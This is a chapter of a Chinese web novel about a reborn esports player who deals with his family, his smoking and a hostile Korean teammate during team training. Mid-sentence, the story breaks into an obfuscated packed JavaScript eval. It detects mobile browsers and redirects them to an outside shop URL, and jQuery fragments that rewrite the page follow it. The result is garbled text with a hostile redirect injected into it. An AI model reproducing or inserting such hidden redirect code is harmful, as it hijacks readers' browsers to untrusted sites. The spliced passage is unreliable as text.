易星燃收到易月荧发来的体检报告的照片,妈妈的身体并无大碍,除了因上了年纪血糖血脂都有些偏高外,目前并没有检测出来疑似恶性肿瘤的发生。
这是个好消息,但也并不能完全掉以轻心。
他点了根烟,想缩短体检的空窗期,至少也要半年一次吧——易月荧叽叽喳喳的弹窗过来,易星燃看了几眼,唇角勾出一丝淡淡的笑意,随即指尖轻点,发送了一笔转账过去。
【支付呗到账一万元】
易月荧有一瞬间的迟疑,紧接着一个语音电话甩过来,“哥,你上哪儿发的财啊?”
易星燃咬着烟,蓝紫色的烟雾升腾,幻化成一团柔软的纱帐,朦胧地笼罩在眼前。
“你不是说同学都有平板读网课?”
易月荧刚有了新手机,都还没暖热,第二笔一万元到账,惊得她都有些不敢花,“那也用不了这么多啊!千把块钱买个二手的就得了,一万块钱……都够咱家大半年生活费了。”
可说归说,语气里的开心仍不似作假,小姑娘心疼钱是真,拿着巨款心里高兴也是真。她哥刚给她换了个最新款的水果手机,再这样下去,马上就可以拥有水果全家桶了。
易星燃眉眼稍垂,“不想要还我。”
“啊别别别!”
易月荧下意识惊喊,急得跺脚,嗔怒道:“哥!”
“行了,我还不知道你?”
易星燃轻笑一声,“生活费给妈转过去了,我看你们同龄的同学都有这个,别舍不得。”
易月荧用力攥了攥手机,好听话在嘴边辗转半晌,最终没说出来。
易星燃早习惯了她这样,玩笑道:“给你钱你拿出去装逼不行吗?不然我要那么多钱干什么?”
耳边瞬间传来易月荧咋咋呼呼的声音,易星燃指尖夹着烟,手搭在栏杆上,看深沉夜色里星星点点的碎光。
易月荧是个好学生,学习成绩从未下过年纪前十,任课老师都说她是个可冲清北的苗子,从小就听话。
不像他,考试排名要从倒数的位置往上数,班主任看了都摇头,骂他你这个样子连个高中都考不上,只能进厂打工。
易星燃有些想笑,那怎么办,他就是学不明白,什么小明的奶奶时速800km/h,给李华写信说你好韩梅梅我这里是地球请问你可以来周末做客吗?
等升了高中,饶是他再不想因为那些舆论影响易月荧学习,可人言可畏流言难挡,当时的易月荧被全班孤立到差点被霸凌的地步。
是啊。有个‘打假赛’、‘叛国投诚’的哥哥,十六七岁的年纪正是义愤填膺的时候,满腔正义无处抒发,可不是要以立场正确来彰显自己的存在感。
小孩子不懂什么叫纯粹的恶,可那份单纯的残忍却是最利的刀,割得易月荧的手臂上鲜血淋漓。
易星燃看得到,可他什么也做不了。
那份伪装在外层的洒脱包裹着的,是他掩埋在最深处的无能为力。
他救不了他的母亲,帮不了他的妹妹,甚至于这些伤害都是他带来的。
莫名的焦躁感油然而生,易星燃刚碾灭烟头,随手又从兜里摸出来一根。
‘啪嗒’一声,打火机的火焰亮起,易星燃挂断电话,没听清身后什么时候响起的脚步声。
“年纪不大,烟瘾却挺大?”
易星燃蹙眉回头,“你偷听我讲电话?”
“路过,刚好看到你在这里,”
裴渡撩起眼皮看人,伸手递过去一沓资料,“这是教练组和数据分析师新拟定的几套阵容方案,根据你这几天训练赛的表现来看,有几个新想法想找你试验一下。”
易星燃看到那些密密麻麻的数值分析就头晕,随手翻了两下就闭眼扶额,“能不能直接说结果,要我拿谁我拿谁不就行了?”
“……”
果然是独狼,披着个听从指挥的皮,其实装得一点也不像。
裴渡将文件收回,言简意赅,“从明天开始,每天会增加你和一队的训练时间,具体配合看教练安排,争取在msi到来之前,磨合出来一套新东西。”
易星燃原本不太在乎这个,给他拿什么英雄他都能打,无非是让他c还是让他保c的区别,上一世拿的多了,英雄池深,熟练度不是问题。
“哦,那就听教练的呗。”
易星燃抬脚想走,裴渡却没挪动步子,那颗粉脑袋在眼前左右晃了下,随即茫然抬头。
裴渡垂眸,轻轻眯了下眼睛,“基地有禁烟的规定,你知道吗?”
易星燃下意识回嘴,“我都躲到走廊外面的室外露台上了我……”
可他抬眼瞥见裴渡似笑非笑的神情,一想到违反规定指不定还有什么规则处罚等着他,要是再罚款两千,实在是太伤钱包。
“我灭掉行了吧?怎么什么都要管……”
易星燃嘟哝着找垃圾桶,将还剩三分之二的烟碾灭,还有些心疼浪费烟草。
裴渡慢悠悠地跟上来,颇有些闲庭信步的意味,“像你这样的抽法,肺不要了?”
易星燃摸了摸口袋,“还好吧,我也没多大瘾,就是抽着玩儿。”
两根连着点叫没多大瘾?
裴渡没拆穿,只淡声问,“什么时候开始学会的。”
“从……学校出来之后吧,具体记不清了,”
易星燃无所事事,权当闲聊,“那时候身边的人都会,你不抽就是不合群,容易惹事。”
“惹事?”
“这你就不懂了吧?都是出来混社会的,别人给你递烟你接不接?要是碰见工头和组长呢?不接就是不给人面子,”
易星燃笑了声,颇有种少年老成的大哥之感,“你今天说不会,明天那工头就不给你派活,要是碰见些自诩体面还难搞的硬茬,转头给你堵巷子里阴你一把,你找谁说理去?”
裴渡压着眼尾,思索片刻,没忍住侧目。
那颗淡粉色的圆脑袋在月色里泛着一层金,使得整个人都显得柔软起来,诉说这些往事时还满脸的无所屌谓,就好像说的不是自己,而是在说别人。
“不能戒掉吗。”
“戒了干什么?”
易星燃扬了扬唇角,一脸的同情加怜悯,“有时候我也搞不懂,像你们这种不抽烟又不喝酒的,平时怎么解压啊?心烦了怎么办?”
裴渡顿了下脚步,“所以你是在心烦。”
易星燃莫名一噎,“没有,我就是……”
裴渡侧目看人,那张脸依旧冷淡着没什么情绪,可此刻看起来,却似乎和往常有些不太一样。
哪里不一样?易星燃没看明白,随手把掏出来的烟盒塞回兜里,“烟瘾犯了而已。”
裴渡垂眸扫过去,看了眼红白相间的软包装,似乎是印着红塔山三个字。
“明天让我和一队一起训练,你们原来那个打野还不得闹麻了?”
裴渡微微蹙眉,易星燃却单手插兜只留给人一个背影,潇洒挥了挥手,“行了,知道你不爱听在背后讲别人坏话,我就是好心提醒你一句。
“少捡着谁都当个宝,真到了msi,指不定还得看谁的呢。”
月色下,十八岁的背影依旧恣意张扬,冷白月光洒在人肩上,笼罩出一层朦胧雪色。
身后,裴渡平静地站在那里,垂在身侧的手指不自觉搓捻,似是在回味易星燃最后给他留下的那句话。
MSI……他是不是知道什么?
郑教练发来消息,询问他真的打算每天空出来两小时的时间,只为了和一个新人替补磨合阵容?
【这样会打乱正常的训练节奏,还有,不出意外的话,Fire根本没有上场的机会,朴锡昊一直发挥稳定,与其浪费时间,还不如多约几场训练!】
裴渡垂了垂眉眼,不答,只平静地回复:
【防患于未然。】
郑教练不懂,什么患?
翌日,郑教练走进训练室,如约叫停了曹涵伟的自定义,让他和辅助位配合着易星燃一起去打训练赛。
“约了场3V3,Fire,你和他们两个去,试试手感。”
苏乐童挺高兴,这几天有易星燃带他上分,连赢不说,连他这个小辅助都被带到超神起飞,他早就对人顶礼膜拜,抱好大腿嗷嗷喊着认下了新大哥。
陈翊往身侧睨了一眼,见苏乐童兴高采烈,“有这么激动吗?”
“当然激动!习习哥你不懂,呜呜呜小星哥可厉害了!钻石局连胜是什么概念?啊啊啊简直是我的神!”
陈翊抿直唇角,语气有些不是滋味儿,“那你以后再需要上分可别叫我。”
“嘿嘿嘿不会的习习哥!我有小星哥啦!你忙你的~就不打扰你啦~”
“……”
曹涵伟已经听苏乐童吹爆新大哥听了三天了,他一直没机会和人打上一场,正赶上这场训练赛,自然是摩拳擦掌拭目以待,想看看这位钻石局能连胜的新人替补到底是个什么水平。
“好啊!来!”
“he!”
朴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714650|208437||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
锡昊推了一把外设,黑着脸坐在座位上,键盘敲得劈啪作响。
“这次约的是jzx,听说他们要换新打法,想试试上野辅三路联动……”
‘砰’地一声,郑教练话还没说完,朴锡昊再次将水杯砸向桌面,对着电脑屏幕不知道在嘲讽谁,发出“qieqie”地怪音。
真是闹麻了。易星燃拧眉,不屑地翻了个白眼,身子还没来得及转过去,正撞上裴渡看过来的目光。
“……”
人乖话少不惹事!
紧接着易星燃眨巴眨巴眼睛,眼珠子不受控制的往上翻了两下,连带着卷曲上翘的长睫也微微抖动,撩着眼皮顺势看向天花板。
“哎哟,这眼睛里怎么进脏东西了……”
半阖着的唇瓣水润,隐约能看到灵巧的粉色舌尖,易星燃瘫坐在电竞椅上,后脑抵着头枕,翻着白眼仰着头。
直到裴渡收回目光,这才收敛起表情,有些不爽的嗤笑了声。
我就说吧,个别人要闹麻了。
郑教练沉默了一瞬,没呵斥,只往前走了两步,交待着一会儿选择英雄的注意事项。
“千珏吗?破败王也可以!小星哥都打得超帅的!”
苏乐童趁机夸夸,两颗梨涡都笑了出来,郑教练有些欣慰地正准备安排苏乐童尝试一下软辅,那边的朴锡昊模仿着苏乐童的口音阴阳怪气地又学了一遍。
“千珏哦~破败王哦~超帅哦~#&(**@……!”
郑教练脸色有些不太好看,可语气还算温柔,“Hao,你先和Cross打中野配合,不要影响训练。”
朴锡昊叽里呱啦说了一连串的韩语夹杂着中文,郑教练表情越来越严肃,刚要开口制止,一向淡漠的裴渡却先开了口。
“这样针对一个替补选手,你是在害怕什么吗?”
易星燃闻言转身,草?他会说韩语?
那他为什么不给我翻译还装听不懂!
裴渡没看他,只平静地回视着被一句话戳破了肺管子的朴锡昊,“电子竞技,谁强谁上,TheX可从来没有排资论辈的那一套。”
在LCK,刚入队的新人,都是要恭恭敬敬的对资历老的队员称呼前辈的,更有甚者哪怕端茶倒水卑躬屈膝都不稀奇。
朴锡昊最看不惯易星燃那一副瞧不上他的样子,闻言猛地大怒,“他凭什么?”
裴渡面色如常,“凭他是我点头签进来的,你再这样控制不住情绪,我很难不怀疑你是因为担心有人会替代你的位置。”
“当初签我的时候可没说参与对内轮换!”
裴渡撩起眼皮,嘴角还挂着似笑非笑的弧度,“如果你能一直保持着正常水平发挥,谁能轮换掉你?”
叽里呱啦吵什么呢烦死了!
易星燃听得头大,“不服solo!solo啊!你的,solo听得懂不?”
朴锡昊咬牙切齿,无比愤恨地瞪了易星燃一眼,他无法反驳队长也不能反抗教练,气得夺门而出。
训练室内一时安静下来,郑教练有些欲言又止地看向易星燃。
裴渡也投来平淡的目光,盯得易星燃浑身都不太舒服,“看我干什么?”
“……”
郑教练默了片刻,裴渡薄唇轻启,“你本身就是他的替补位置,因不满训练安排就要被你喊着solo,很难不让人认为你是在刻意挑衅对他下战书。”
“哎呀不会的!小星哥才不是这个意思呢!他可能就是有点心直口快……你们不要误会他呀他人很好的!”
收了小弟就自有人为他辩经,易星燃“嗯嗯嗯”敷衍地点了点头,收获到裴渡眯起眼睛看过来的目光。
“你好像从来就没有担心过,练习了阵容却没有上场的机会?”
易星燃头点到一半,随口笑道:“我用担心这个?”
裴渡无言,看着易星燃半阖着的眼皮突然撩起,随即睁着桃花眼脸不红心不跳地改口,“我就是觉得有备无患嘛,嗯,对,万一有些人临上场前一不小心吃坏肚子怎么办?”
这是郑教练第二次听到‘患’这个字,他还是没明白,患到底在哪?
他安排着三个人开始训练赛,只有一旁的裴渡若有所思地坐在那里,意味深长地看着易星燃转过去的背影。
上一世,三年前的那场MSI决赛,在对阵上个赛季S赛的冠军战队时鏖战五局惜败,朴锡昊就是以吃坏了肚子状态不佳为由,成功逃过了赛后的争议和质疑。
……真有这么巧?